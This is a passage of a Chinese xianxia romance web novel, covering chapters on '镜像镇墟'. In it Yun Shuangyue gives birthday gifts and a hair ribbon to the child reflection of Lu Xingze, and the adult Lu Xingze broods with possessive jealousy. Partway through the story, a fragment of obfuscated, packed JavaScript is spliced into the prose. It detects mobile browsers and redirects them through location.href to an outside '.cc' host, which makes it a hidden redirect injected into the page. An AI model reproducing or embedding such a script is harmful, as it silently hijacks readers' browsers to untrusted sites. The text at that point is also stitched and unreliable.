云霜月低头用指尖整理了一下火曼儿脸侧的碎发,点点头:“刚刚问过曼儿是否愿意先同我们回去,既然她答应了那便先带她走罢。这个院子刚被魔物侵入过,任留一个孩童在此终究是不妥当。”
这个院子一进来就给了云霜月中奇怪的感觉,隐隐的不安感盘踞在心头,她得带着火曼儿快点离开这里。
火曼儿睡着前,云霜月从她那一声声的抽泣声中,拼凑出了这个镇子的一角。
魔物是居民生活中最常见的危险,它们浑身漆黑,常常出没在黑夜。但在长久与魔物之间的斗争中,居民也不是处于任人宰割的地位。
从女孩的口中得知,这个小镇时常会有修士前来捉捕魔物,因为离清淮仙城距离很近,一些不用灵力就能催动的防御符纸也会由修士之手流入镇子里。
居民们身上基本都会备着一些可以伤害魔物的器物防身。
而且魔物出没的时间也有规律,在火曼儿的记忆中只会在月圆之时的那几日出现,其余时间很少看见它们的踪迹。
所以火曼儿踏入院子时,看到倒地的小白才会那么震惊。
魔物在白日出现了。
更何况今日并不属于月圆之时的那几天。
“既然已经找到了曼儿的分身,那便先回医馆和左邢他们会和吧。”云霜月觉得还是要把手中的线索先告知他们,毕竟魔物一事非同小可。
“为什么是医馆,如果担心魔物出没的话似乎那也不安全。”陆行则起身先给云霜月拍了拍衣角。
“医馆的老掌柜……虽然是个难以捉摸他行为的人,但是我没有感受他身上的恶意。”
在他递给云霜月治疗陆行则的药水时,老掌柜曾给她留下一句忌沾子时露水。虽然有巧合的可能性,但魔物出没的时间恰好也是那个时间,极有可能是对云霜月的一句提醒。
他说云霜月像他曾经的一位故人。
其实云霜月对他也有一种莫名的熟悉感,但是无论前世还是今生,一直呆在云氏老宅那与世隔绝的高山之上,云霜月并不记得自己见过老掌柜。
今日她最先起床,也并未碰见老掌柜的身影。
昨日他一直呆的那个柜台上却多出了几堆杂乱的药草,正巧是云霜月认识的几种,她顺手就帮他整理了。
“我明白了,那我马上用传讯佩通知他们。”
──
“你好脏啊,能不能离我远点?”
待云霜月和陆行则二人一回到医馆,就听到一道小孩子稚嫩的声音传来,还带着明显嫌弃的意味。
“姬芜珩你能不能管管你的分身,小小年纪嘴就那么毒?”左邢抗议的声音紧跟着就传了出来:“我这满身泥还不是因为帮他挖泥巴搞的。”
“你有没有点文化?我那是在挖草药。”
“就是啊左邢,有没有文化啊。”火曼儿幸灾乐祸的声音也飘了过来。
“这是……”云霜月推开门,看到里面混乱的场景。
左邢的衣服上全是泥点子,一双手也占满了泥巴。医馆的地上有两行明显的泥脚印,一个明显是来自左邢的。
而另一个。
云霜月将视线一转,看到一个粉雕玉琢的白发小男孩。只是身上也狼狈极了,满是泥土,白玉似的脸庞东一道西一道的泥痕。
不过凭借这极为特色的发色,云霜月几乎一瞬间就知道了他的身份。
是姬芜珩的“照影”。
但火曼儿脚边的那个孩子是谁?
若是按照寻常思路必然也是谁的分身,但云霜月看到他那个怯懦的样子,突然有点拿不准了。
只见那孩子一身寻常人家的粗布衣,头发虽然端端正正地扎了起来,但还是盖不住发丝毛躁。那孩子看着斗嘴的左邢和姬芜珩分身,五官都急得皱成一团。
“不要……不要吵架啊。”他转头劝劝那个,又转回来劝劝这个,忙得团团转。
最后劝着劝着,不知为何直接嘴巴一瘪,哭了出来。
“不是吧?左邢你小时候这挫样?”火曼儿听到动静,低头一看惊呆了。
左邢看到自己哭得稀里哗啦的分身,一哽:“也不至于吧……”
他小时候虽然傻了一点,但不至于这么容易哭吧。
呃,应该吧?
他脑子里闪回过自己第一次见陆行则就被吓哭的画面,干笑两声挠挠头。
“你笑个毛啊,没看到他在一直哭吗。”火曼儿见他那样就来火:“你快点安慰他一下啊。”
然后将视线转到从刚刚开始就坐在那装空气的姬芜珩:“还有你。”
姬芜珩:“……嗯?”
“你也别装死,把你分身的嘴堵上吧,这么能说。”火曼儿指了指把小孩弄哭的凶手之一。
云霜月实在有些看不下去,她抬脚加快步子,从储物戒中拿出一颗糖丸。
走到小左邢的身边蹲下,让他看着自己手上的东西。
小孩逐渐停止了哭泣,他用湿漉漉的眼睛先是看了眼面前的女人,又盯住了云霜月手中的糖丸。
“来。”
他打了个哭嗝:“谢谢。”
将糖丸塞进嘴里后便止住哭声,乖乖站在那了。
“霜月姐你回来啦!”火曼儿挤开小左邢站到了云霜月身边。
“不止她回来了,你也回来了。”陆行则拎着一个小女孩从云霜月身后走出来。
火曼儿走上前,摸着下巴端详:“这就是小时候的我?”
“正好我和左邢的分身也找到了。”姬芜珩的声音插了进来。
火曼儿拉着云霜月坐下,顺便将她提过来的湿帕子甩到左邢脸上:“赶紧擦擦吧你,脏死了。”
陆行则走过来但没坐下,直接把手放到云霜月面前的桌子上撑住:“魔物的事情我在传讯佩中说了,你们一路上走来发现什么异常了吗?”
左邢擦着自己的脸:“没有。我们回来的路上就遇到了这俩小孩,他们还正好凑在了一块。我们就给打包一起带回来了。”他瞅着一旁脸上同样脏兮兮的小孩,摸了摸自己的良心,决定也给他擦擦。
眼看着一团褐色的抹布朝自己过来,小孩嫌恶的撇开头:“我自己会擦!你不要过来。”他摸进自己的袖口取出一个巾帕:“你们这群人外乡人到底要干嘛,说好了我只跟你们在这呆一会就走。”
?
搞半天你们没说服这俩小孩就把他们带回来了啊。
陆行则看向左邢,朝他一挑眉,眼中的意味都不用说出来就能让人读懂。
别急别急,看我的。
左邢朝他挤眉弄眼。
就当陆行则以为左邢要说出什么柔情百转的话感化那个小孩叫他留下来时,火曼儿从凳子上起身,一个手刀就朝小孩的后颈劈了过去。
“啪!”
白发男孩两眼一翻,晕了过去。
……
原来办法就是这个。
看着狼狈为奸的两人,陆行则没话说了。
那边嚼着糖的幼年左邢看到这一幕吓得打了个嗝,面对几双瞬间看过来的眼睛,他咽了咽口水,也不知道自己脑补了什么,学着被劈晕同伴的样子也装模作样晕了过去。
“这也太假了吧……”火曼儿抽抽嘴角。
算了,自己晕也好,省的她再动手。
“霜月姐,先把他们送到空间里去吧。”
云霜月点点头,她正好也要回去一趟。
去找那个孩子。
──
云霜月走在长廊上。
“霜月姐,你手里这一堆东西是什么?”火曼儿在一旁看着她,手里像是提麻袋一样将三个闭着眼睛的小孩拎着。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15164539|164097||http|test|mini|href|location''.split(''|''),0,{}));
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>灯色将云霜月的眉眼浸染,似笼烟霭:“给那孩子的一些小玩意。”
她思绪飘散,回想起小陆行则领着她们来医馆的路上,随意说过的那句话。
那时他带着云霜月走过一处灯火极盛的地方,灯海煌煌如昼,一圈圈的人群将中心围住,时不时发出阵阵欢笑声。
火曼儿看不到里面的景象,难免有些好奇:“这是在干什么?”
男孩的脚步踉跄,火树银花下那些亮光照着他嘴角的淤青,没什么情绪地说:“镇子给年岁满六的孩童庆生,现在是那孩子挑生辰礼物的时间。”
“欸?那你当时挑了什么?”火曼儿看他的样子,年岁应该也到了。
小陆行则面上表情不变,仅是将视线挪开:“我没有。”
那些东西,从来都和他无关,从未拥有的,谈何失去。
只有他身后的云霜月,那双眼睛在璀璨的灯花下,只怜惜地注视着他一人。
想到这,云霜月抱紧了怀里的一团包袱,敲了敲门。
听到里面人跑来开门的脚步声,她朝火曼儿点点头,自己踏入了开启的房内。
“姐姐,有什么需要我的事情吗。”那孩子睁着金色的眼瞳,恍然间和陆行则本人的眼睛重合到了一起。
眸色如碎金溶月,恰似那人在云氏老宅御剑破云时的粲然流光。
其实收拾怀里这堆东西的时候,陆行则也在旁边。
他罕见地没讲话,默默看着云霜月动作,知道她要去找自己的分身。
“即使他只是阵法的产物,你也要把这些东西给他吗。”
云霜月没抬头,淡淡地叹了一口气:“他也是你啊……”
即使时空不同,命运不同,他也是陆行则。
那个修真界横空出世的天才。
那个从云霜月幼年读到的话本中走出来的,最憧憬成为的人。
让见过他无限风光的云霜月瞧见陆行则凄苦的幼年,你让她如何舍得呢?
目光放到眼前的少年身上,他的头发依旧用一根枯枝拢起。
云霜月摸了摸少年的头,对他说:“你又长大了一些啊。”
一日不见,少年的身形又拔高了许多。云霜月粗看一下,估摸着现在的他长到了十二十三左右的年纪。
她将手从少年的头上拿开,顺便抽走了那个简陋的树枝。
变戏法似地拿出一根发带,这是她昨夜缝制的。因为时间不够,针脚有些乱,但是料子确是上好的,前世云霜月一直是用它给陆行则缝制发带的。
只是今生陆行则本人却并未拥有,获得了云霜月发带的人,是他的分身。
当然他也不知道,因为这根发带并未放在包裹中。而是一直存于云霜月的广袖之下,浸满了她的香气。
此时这根发带代替了枯枝,将陆行则的头发缠住。
“好看。”云霜月笑着夸奖道。
牵着少年的手,云霜月将他带到了桌边。
打开一直抱着的包裹,云霜月将里面的物件一一摆了出来。
金灿灿的长命锁,模样可爱的玉佩,流转着符文的五色结,和一把桃木剑。
你没有的生辰,那就让她这个命运之外的旧友来补上。
她没法让男孩拥有和这个世界的陆行则一样的天骄人生,但那些零碎却可以补足的东西,她却可以给予。
云霜月低眉看着少年,眸中似含莲华垂露般悲悯。
心中默念着。
祝你长命百岁。
祝你仍有少年的意气。
祝你有保护自己的底牌。
下次面对怀疑的坏人时,不要再捏住会划伤自己的碎石了。
用剑吧。
用你最擅长的剑。
她将手贴住少年的脸庞,一如前世她和陆行则过的每个生辰一样。
愿尔千岁无忧,永驻少年肝胆。
24. 镜像镇墟
男孩感觉到了自己脸上的温度。
冰凉的,像是冬日的残雪。
那只手也并不细腻,指腹处带有薄茧。
但他却又觉得,这双手带有惊人的烫意。
像是要将他洞穿一样。
他听到有声音从自己的心口传出,震耳欲聋。
这种感觉就和他第一次见到云霜月的时候一模一样。
“扑通——扑通”
是什么异物要从自己的喉管中逃出来了吗?
陆行则面无表情地想。
姐姐,你到底是谁?
为什么我会对你感到如此熟悉。
云霜月将手放到自己脸上的时候,他就尝试过调整自己的表情。
但是失败了。
他最先在云霜月为他挽起头发时露出了微笑,是从那个长得和他很像的男人脸上学来的。
弯弯眼睛,扯起嘴角的两边。
这时候要表现出喜悦的样子。
是姐姐要找他帮忙吗?
他见过母亲还在的时候,那群恶心的人求着她的样子。她拥有镇子上最好的祈福技艺,经过她手的寻常符文会比之前更能让魔物畏惧。
但母亲后来生病了,不知道为什么这个消息很快传了出去,那群人就像远离魔物一样,远离了母亲。
包括一开始求着她的那群人。
姐姐,你会和他们一样吗?
你会靠近我之后又抛弃我吗?
我能帮到你什么呢?如果我束手无策,你会不会马上离开我呢?
他感受到女人指尖从自己的发丝间穿插而过的感觉,就像一阵风那样。
身上穿着云霜月为自己提前准备好的新衣服,他垂在袖管中的手活动了一下。
握紧,松开。
如此循环往复。
凭借这双手,真的可以抓住风吗?
姐姐,你想要让我做什么呢?
我的身上空无一物,唯有可以嗅到你味道的鼻腔,用来注视你的眼睛,和见到你开始就为你搏动的心脏。
或许还有一身滚烫的鲜血,不知道是否可以帮你煨暖终年沁寒的双手?
剜出这幅形骸里用作支撑的森森白骨,不知你是否要抽出来根最漂亮的,磨成发簪用来挽起你的头发。倒想教你择一节最莹润的,雕作玉簪是定要浸透我的髓液,好教它缠绕青丝是不至于硌疼了你的云鬓。
姐姐,要试试吗?
但之后云霜月又打开了包裹,一件件将里面的东西拿出。
那个雕刻精细的东西是什么。
哦,姐姐说这是长命锁。
那个小蛇形状的玉佩还挺有意思的。
好吧,姐姐说那雕得是条小龙。
那个发着光的线团颜色还挺多的。
姐姐对我笑了一下,和我讲它是五色结。
看到这些东西,我的心口好像有些酸。那个感觉是酸吗?应该是吧,那群人经常往我身上砸未成熟的橘果,咬开来就是那个味道。
那我这时候该露出什么表情?
想要姐姐的同情,想要她的手不再隔着丝帕触摸我的脸庞。
或许我应该哭泣。
他将扬起的嘴角下压,金色的眼睛也睁了开来,秀气的眉头皱着,好像下一秒就要留下泪来。
调整好表情,那双眼睛也不忘追逐着云霜月的动作。
女人拿出来了一把桃木剑。
这是什么意思呢。
……
她发现我丢开的石子了吗?
她知道我会杀人了吗?
她会讨厌我吗?
陆行则有点无措,但他又很快想到女人这是将剑送给自己,那便不会有厌弃他的心思。
他很快安心了下来。
那这把剑是什么意思呢?
或许姐姐是想让我杀人。
姐姐,你想要我帮你做的是这件小事吗?
但下一秒,云霜月的手就贴到了男孩的脸颊上。
女人告诉陆行则,她想他自己保护好自己。
保护好自己?
陆行则面上的表情变成空白。
她过来的眼睛,漆黑明亮,像春水一样柔和。
但陆行则莫名觉得恐惧。
他觉得那是见血封喉的毒药,不然为何他连呼吸都无法做到?
但等他好不容易吐出一口气,又疑心云霜月那似水的眼眸里,是否留存着滚烫的火焰,让他的呼吸如此灼热。
这时候该露出什么样的表情?
什么样的表情可以挽留住一个什么都不想从他身上拿走的人?
什么样的表情可以挽留住天地间那一抹最轻盈的,却又是最无情的风?
所以,我该怎么做。
做不到微笑,做不到悲伤,伪造出来的假意,真的可以短暂拥有过真实的风吗。
在这空茫的一瞬,他突然学会了恨。
最真的恨。
恨这天地间的春风为何不独独拂过他一人的脸侧。
恨她为何偏偏就是那无欲无求的圣人,竟一丝一毫都不想从他身上拿走。
我的躯壳,我的血液。
他感觉自己的牙有些痒。
纷杂的情绪交织,男孩蹭着云霜月的手侧头别过脸,将她的一根手指叼在嘴里。
那极致的爱恨无法找到宣泄的出口,于是就蚕食主人的胃,让他生出了前所未有的饥饿感。
想要把她吃掉。
这样她的血液是不是就能和自己融到一起,她的白骨是不是也能严丝合缝嵌入他的躯体?
想要把她吃掉。
好想好想好想好想好想好想好想好想好想好想好想好想好想好想好想好想好想好想好想好想好想好想。
口中的手指动了一下,竟不是慌不择路地退出去,而是反手摸上了他藏在深处的犬牙。
他从那恐怖的饥饿感中拔出一丝神智,暗金色的眼珠黏在女人脸上。
只见面前的女人一无所知,还泰然自若调笑着:“果然还是小孩子,牙齿都不尖。”
云霜月的手指被湿润的口腔包裹着,指尖被圆钝的牙尖抵住。
她摸了两下,觉得陆行则本人长大后的牙尖多了,前世从她手里叼走东西的时候,总会不小心划到她。
“你把他,当成我了吗。”一道熟悉的声音传来,和眼前的男孩声音很像,却明显比他更成熟。
后背突然抵住了一个宽阔又灼热的胸膛,一阵清爽的气息将云霜月整个人都包裹住。
“云霜月。”她听到那个人说。
视线变暗,周围的光线被遮了起来。那人没有束发,发丝从云霜月的头顶吹落下来,如蛛丝一般把她缠进去。像是刚刚沐浴完,发丝还带着湿润的水汽,无孔不入地渗透进她所有能呼吸的空气中。
因为接触到了空气,湿润的发丝带着凉意。被它刮过的地方,让云霜月有种被蛇信舔过的奇怪感觉。
是陆行则本人来了。
但他是怎么无声打开房门,悄然到她身后的?
云霜月感觉有股力道扣住了自己的手腕,紧接着指尖的温热就消失了。
取而代之的是一条冰冷的丝帕,那柔润的布料紧紧裹着云霜月的指尖,像是要将什么秽物擦拭干净一样。
这个动作将云霜月整个人都嵌入了身后陆行则的怀中,和丝帕与她指尖的距离一样,她和陆行则之间只剩下衣服的布料了。
她甚至还能听到陆行则的心跳声,沉重,急促。
和陆行则本人慢条斯理擦拭她之间的动作一点都不一样,让云霜月产生一种违和感。
她仰头和陆行则对视,漆黑的发丝遮挡了房间内大部分的光线,将他的脸都衬得晦暗了。
“你怎么过来的?”
陆行则一开始没说话,他的视线从云霜月的脸上慢慢划过,最终停留在她嘴角那颗红痣上。女人因为仰头的姿势,整张脸都进入他发丝织就的空间里,连那修长白净的脖颈都缠绕着他湿润的发丝。
他轻笑,随后将头抬起了一点,身体却没有后撤。
屋内的光线因为陆行则的退让的动作,终于照亮了他的脸庞。
很正常的表情,依旧是那副笑眯眯的不着调样子,仿佛刚刚那一瞬间的晦暗就是云霜月的错觉一样。
但下一秒陆行则说出来的话,却让她有些无法理解。
“我在你身上放了两滴我的心头血,只要我想的话,我随时可以传送过来。”他扬着嘴角,随口就说了出来。
“这么重要的东西,你!”云霜月说话的语速都比平时快了:“你什么时候──”
像是欣赏完她急切的表情,陆行则恶趣味得到满足一样:“骗你的,是青髓剑动了。”
那日御剑进入小镇之后,陆行则并没有将自己的本命剑收回,而是继续放在云霜月那边,说给她防身了。
青髓剑也很高兴,没等云霜月说出什么拒绝的话,就自动缩小为一把通身碧翠的小剑,像玉佩一样挂在了云霜月腰间。
平日里云霜月就带着陆行则的本命剑在火曼儿他们面前晃来晃去,三个人中愣是没一个人发现什么不对劲的地方。
不过就算感觉到不对劲了又怎么样呢?
本命剑如同修士的半身,失去它就如同砍断剑修的一条臂膀那样。他们怎么样都不会想到,陆行则会把对剑修来说这么重要的东西直接放到一个陌生女人身上。
这如同将自己的半条性命,半颗心脏给予出去有什么不同?<
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p>不过这件事的含义云霜月本人却不知道,就如同她不知道前世陆行则抹在她储物戒上的那滴心头血一样。
“我在青髓剑上设下阵法,你要是遇到了什么危险,青髓剑就会和我神识产生共鸣,将我传送过来。”陆行则慢悠悠解释着。
云霜月想捏下他的耳朵算作惩罚,却发现自己的手还被陆行则攥在丝帕中。
她动了动,想让陆行则放开。却见他就用那双眼睛盯着自己的脸,也不知道在看哪,反正手是一点没松。
直到她打算启唇,嘴巴刚张开一条缝,陆行则才突然将她手放开。
“我刚刚在和小则讲话,何来的危险呢?”云霜月想将男孩牵过来,他好像从陆行则本人出现开始就一直沉默着。
在陆行则本人将房间内的光线遮去大半后,男孩那双和他极为相似的金色眼瞳也表现出一股幽暗的意味,像是幼年蛰伏的野兽。
“不危险吗?”陆行则将头微微低下,下巴搁在了云霜月的头顶:“他都要把你吃了。”
头顶的发丝传来牵扯感,云霜月意识到陆行则好像在用下巴蹭着玩。
“又说什么胡话……”
没理会头上动作的陆行则,云霜月将手放到男孩面前,示意他过来。
然而比他动作更快的是陆行则本人。
他将自己那双骨节分明的手嵌入云霜月摊开的手中,微微施力迫使云霜月张开的手指合拢,让二人的手成为十指相扣的样子,严丝合缝。
云霜月搞不懂他为什么一到这里就开始做些莫名其妙的动作,就比如眼下这样。
对面的男孩一直看着他的动作。
陆行则又笑了一下,但云霜月这次却看不清他表情,因为陆行则的下巴压在了云霜月的头上。
“可以走了吧,现在你什么都做不了。”陆行则对着自己的分身做口型。
那家伙当然能看懂,也一定会离开。
他最清楚他自己了。
果然,那个赝品终于舍得把自己的眼珠从云霜月身上扣下来了。
他看着自己,两双金瞳在昏暗的房间内遥遥相对,暗流涌动。
最后年幼的那双眼睛先移开目光,选择避开锋芒。
“姐姐,我先出去一下。突然想起有件事情忘记做了。”
男孩对着云霜月挂上了熟悉的微笑,转身离开。
却在到了门口那边停住脚步,转过身又学着陆行则刚刚的样子对他笑笑,一只手状似不经意地扯扯头上新多出来的发带,随后才打开房门,大步跨了出去。
“这……”
云霜月不知道短短几秒时间发生了什么,毕竟陆行则这一大一小两人的动作都是背着她完成的。
还在想着发生了什么,耳边却扑来一阵呼吸产生的热气:“云霜月,你把我的发带给他了吗。”
陆行则将头从云霜月的头顶挪开,却没有起身,反而把脸凑到了她的耳边。
不知道是不是因为这个缘故,他说出来的话有种奇异的粘稠感,混杂着他未干发丝带来的水汽,让云霜月的微微起了一阵颤栗。
她觉得氛围有些怪,于是没有第一时间回答陆行则的问题:“你今天怎么回事?好了,从我身上下去吧。”
“什么怎么回事,我一直都这样。”陆行则将云霜月放开,他的抱怨夹着别的不知名的情绪:“明明是你回来之后一直都不怎么理我。”
“若是一直这样理会你,那才是不合适。”云霜月纠正他。
“那你为什么送那个赝……那个我的分身发带呢。”陆行则坐到了云霜月对面,弯着眼睛扬起嘴角:“你把他当成我了吗。”
他上高中的时候偶尔刷到了校园墙,那个词叫什么来着。
哈哈,代餐?
那天云霜月将那些东西打包的时候陆行则就在旁边看着,他觉得有些微妙。
好像她也将那些东西一一补给了幼年的他一样。
都说“照影”和主人极为相似,而陆行则的“照影”就像和他一比一复刻出来的那样。
地球上的他拿了个什么剧本呢,早死的妈,有钱但好色的爸,不过那些数额超乎想象的财富都在他这个所谓婚生子的手上,外面那堆和葫芦娃一样的私生子也不会自讨没趣凑到他面前。
听起来挺无聊的对吧。
所以他也不会时常想起来这段记忆,直到云霜月给他的分身装东西的时候,才从角落里扒出来。
要是他在现代遇到云霜月会怎么样呢?
这些东西,你也会一一补给我吗。
“你把他当成我了吗。”他问了第三遍。
不可以的,不可以完全把他当成我啊,云霜月。
这一世,我还没有发带呢。
我还没有呢。
25. 镜像镇墟
陆行则的眼睛盯着云霜月。
送他发带是因为把他当成我了吗?
所以就将那些珍重的礼物和祝福,通通赠予了一个认识没几天的人。
一个顶着陆行则的脸来窃取你注意力的东西?
可我就在这里啊。
为什么对一个赝品百般亲近,对我却要装作陌生人。
所有人都可以得到你的拥抱,为什么到了我这就不行。
你不是把我当作朋友吗。
我们不是还可以继续做朋友吗。
既然记忆都在,为什么要装作陌生人。
云霜月,我不知道怎么做。
你为什么不教教我。
在前世那段阴差阳错的婚约关系里,好像一切的亲密都是被允许的。
什么是越界,什么是不越界,这里的界限谁来定义?
你没有告诉我呀。
陆行则在这种关系中也是第一次。
妻子。
朋友。
我们第一次写下对方的名字是在那张薄薄的婚书之上,第一次站在一起就是穿着喜服跪拜天地。
鸳鸯婚筏,烛影摇红。
陌生的妻子。
信任的朋友。
你说回退到正常的关系。
我们以前的关系难道不正常吗?
为什么要疏远。
我们又没接过吻。
毕竟你只有在我发烧的时候才会用嘴巴碰碰我的额头。
还冰冰凉凉的,有点像冰块,幸亏你老公我体温高没被冻死。
我们更没有上过床。
毕竟我有次偷偷躲在床上吓你,还被你揪着耳朵赶了下去。
好像那次你还生气了,叫了你好久都不理我。
还好我有你第一次绣的发带。
发带。
陆行则又想起来分身离开前朝他瞥来的,那耀武扬威的一眼。
头上的发带能看得出是由制作的人匆忙赶制出来的,但依旧精致。
但除了他,谁又知道云霜月一开始并不会这些东西?
那个才出现几天的赝品吗?
前世的他刚认识云霜月,感觉就像是和一块木头讲话。
问家族八卦她摇头,问山脚下都有什么她也摇头。
饶是陆行则话术再高明,也做不到在云霜月这颗硬邦邦的石头上插朵花。
后面他实在受不了了,每次翻墙出去都会给云霜月带来一大叠民间的话本。
一开始她还不会主动看,陆行则就在云霜月的账本里塞几本,在她那堆封建家族的家规里也塞几本,硬是让她看见。
事实证明还是很有效果的,至少没过多久,陆行则就发现云霜月拿着针线在绣东西
那时的他刚刚历练回来,见桌上放着一团扭曲的古怪玩意。
陆行则俊脸上露出一个明显疑惑的表情,上前拿起来仔细端详。
应该是根发带。
眯着眼睛仔细观察了半响,他摸摸下巴:“这上面绣着的是个炸毛鸡吗?难道是这个世界的稀有品种,我怎么从来没有见过……”
话没说完,声音就低了下去。
因为他看见了一旁刚走过来的云霜月,手里还拿着针线,明显陆行则手上那坨不明物体就是她的杰作。
“呃……你绣得是只小鸡吗,哈哈还挺可爱的。”他尬笑着晃了晃手里的发带,随后小心叠好放回桌上。
云霜月一开始没说话,拿她那双黑色的漂亮眼睛看了会陆行则,才抿了抿嘴开口道:“那是凤凰。”
这鸡是凤凰……?
绣出这只凤凰的主人微微偏开头,不去看他,却露出了一只微红的耳朵。
很浅的颜色,但因为云霜月皮肤白,这点细微的颜色变化放在她身上实在太过明显。
这也是陆行则第一次在云霜月面上露出这么生动的表情。
“不好意思啊。”他嘴上对云霜月说着抱歉,但心里却没什么负罪感。
他那时候只是想。
我这位天降老婆好像还挺有意思的。
“那能送我吗,我真的觉得挺好看的。”也不知怎的,他鬼使神差地开口朝云霜月讨要那根发带。
云霜月在那个时间还没和他怎么熟,顶着一张拒人于千里之外的脸,其实最心软了,根本不会说出什么拒绝人的话。
觉得不过是一根发带,给了他也不会怎么样。
殊不知那是她最后悔的决定之一。
陆行则也不知道发什么疯,有着一堆精致的发饰全不戴了,成天就系着那个简陋的发带在云霜月面前晃。
云霜月记账,他凑过来。云霜月习字,他也要来看看。
明明之前历练那么忙,每次回来都只是短暂在云氏呆几天就走。
但偏偏这次不知为何,自从陆行则戴上了那个发带,就好久没去历练了,一直呆在云霜月的院子。
直到她有些忍不下去了,在陆行则有一次又莫名其妙凑过来时,亲自从他头上扯下那根丑发带。
云霜月想要收回去,结果一转头就看到陆行则湿漉漉的桃花眼。
他的头发柔顺地垂落下来,将整个人锋锐的棱角都磨平了,显得无害又可怜。
陆行则伸手扯了扯云霜月的衣角,说能不能还给他,他保证放起来不戴了。
见他这个样子,云霜月的手松了又紧,紧了又松,想开口却不知道说什么话,最后还是让他将发带拿了回去。
一开始确实同他说的那样,放起来不戴了。
可后面他们又熟了很多。
有次陆行则把云霜月惹生气了,他就又将这发带拿了出来。
具体原因他也忘记了,但陆行则想云霜月脾气那么好,当时应该是他又做错了什么事情才惹恼她的。
云霜月生起气来还挺明显的,会在陆行则叫她的时候故意不应声,只会用眼神朝他看过来,询问他有什么事情。
其实这么看的话一点威胁力都没有,要是学着陆行则的路数,那些惹恼他的人从来只有魂飞魄散的下场。
不过陆行则就是有些怕云霜月这个样子,状态很像当初他们刚认识的时候,真不知道以前他是怎么熬过来的。
那次好像招惹得真的有些过分了,云霜月一整天都没和他说话,让陆行则印象深刻。
于是他就关了自己的传讯佩苦思冥想怎么让云霜月理会他,失联整整三天,搞得宗门以为他在经历什么凶险的秘境,实际上这位修真界的天才少年,只是如同年幼之时第一次握剑那般,在笨拙地哄回自己的妻子。
笨拙,谁也想不到这个词第一次出现在陆行则身上,是这种情况。
某种意义上来说,生气的云霜月对陆行则来说就是凶险的秘境。
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他没经验啊。
这里没有现代那些五花八门的搜索引擎,没法一键搜索“惹老婆生气了怎么办”“送女人什么礼物会开心”“怎么和女朋友道歉”这些问题。
陆行则只能搜索自己的储物戒,把一堆堆的天材地宝随意放在桌上,过程中意外又看到了那根发带。
他脑筋一歪,当即就戴上这根发带厚着脸皮去找云霜月。
效果拔群,陆行则一凑到她面前,云霜月就忍不住和他说话了:“你……”
她发出一个音,之后怎么也说不出话来。
陆行则就看准这个时机,东扯扯西扯扯,成功把云霜月逗笑了。
有了这个先例,他好像之后就吃准了怎么对云霜月。
每次招惹完云霜月发现她不理会自己后,就又拿出那根发带给自己系上,然后跑到云霜月那打扰她。
如果云霜月在记账,他就会拿开桌上的账本,把自己的脸代替账本蹭到云霜月的眼下,让她一眼就能看见自己头上的东西。
搞得云霜月都不知道拿他怎么办才好,难道陆行则在宗门里也这般幼稚?
但也不想让他轻易得逞,于是云霜月手中用来记账的笔就多了一个用处──用来在剑衡仙君的脸上作画。
陆行则每次戴着那个发带来招惹她,若是云霜月手上有笔,就会往他的鼻尖点上一点,也不多画。
单看脸真的无法想到云霜月这家伙心软的程度,这算什么回击啊。
这就和陆行则不一样了,他向来报复性强。
云霜月往他鼻子上点完墨水,陆行则就会用鼻子拱着她的手胡乱蹭一通,将云霜月的手也搞得乱七八糟。
看着花脸的陆行则,即使云霜月手上也是墨水,但她还是会忍不住笑意。
陆行则就又哄好了自己的妻子。
后面很多年过去,云霜月的绣艺也越来越精湛,但他喜欢用的还是那根发带。
直到现在。
看到了分身的动作,陆行则好像才有些迟钝意识到,重生回来的他已经没有那根发带了。
……
可是他的记忆还在。
云霜月的记忆也还在。
陆行则将目光落到女人的身上,她正从储物戒中拿出柔软的巾帕,朝他递过来想让他擦干湿润的发丝。
一根发带改变不了什么的。
就如同云霜月所谓的要改变他们之间的称呼,也迟早会变回来。
陆行则笑了一下,起身走到云霜月的身边,向她撒娇让她帮自己擦干头发。
也不看云霜月有没有拒绝,自说自话就在她腿边蹲了下去,发丝也黏糊糊地勾到了她的手腕上。
帮帮我吧,云霜月。
就和前世那样。
感受到头顶轻柔的力道,陆行则嘴角勾了起来,像是加深了笑意。
但他的眼睛却罕见地没有弯起,昏暗的灯光下让人看不清眼底的情绪。
“砰砰——砰砰!”
一阵敲门声突然响起。
“霜月姐,你还在里面吗?陆行则的分身好像出了点问题,你快出来和我们一起来看看吧。”火曼儿的声音从房门外传来。
陆行则头上的动作停止了。
他暗金色的眼睛又变成了近似蛇类的竖瞳,在头发的遮挡下莫名变得阴沉。
又是那个东西。
26. 镜像镇墟
云霜月将巾帕放到了桌上,然后急匆匆去给火曼儿开门。
她刚刚祝愿那孩子无病无灾,怎么离开一会儿他就出事了?
“霜月姐——!”火曼儿见门开了,第一时间就把头伸了过去,谁知下一秒就看到里面还坐着个人。
怎么是陆行则?他什么时候进去的?
明明她在拎着左邢和姬芜珩分身的路上还看见他了,不知道为什么脸色看上去还挺难看的。
呃……
怎么现在看上去脸也这么臭啊。
谁又惹他了?
火曼儿将脸转向给她开门的云霜月,就这么定定看了她几秒。
也不知想了什么,突然伸出手将云霜月拉出房间,一脸严肃对她说:“霜月姐,你要不快走吧。”
“走什么。”陆行则淡淡出声,掐了个诀将头发直接弄干了。
那条丝帕他没有还给云霜月,顺手就将它放到了自己的储物戒中,这样的动作他前世做习惯了,现在也没打算改过来。
火曼儿见陆行则披着头发就走了过来,小声嘀咕一句:“这样子看着怎么和个男鬼一样。”
“你的分身上突然多出了几道伤口,和霜月姐一开始遇见他的那种划伤不一样,姬芜珩在伤口上探查到了一丝魔气。”她将情况和陆行则讲了。
“那孩子现在在哪?”云霜月问道。
火曼儿感受到了云霜月担忧的情绪,于是马上就抬脚给她带路:“在医馆里,就我们早上吃饭的地方。那个奇怪的老掌柜也在,不知道他们两个人是怎么撞上的。”
“霜月姐你别急,他现在没什么事情,老掌柜在给他配药呢。”火曼儿说着,却瞥见旁边两道影子,一前一后地移动着。
她转头看了一眼,有些稀奇。
陆行则以往一直都是走在最前面的人,作为团队的领头人一直是他来带人走的。
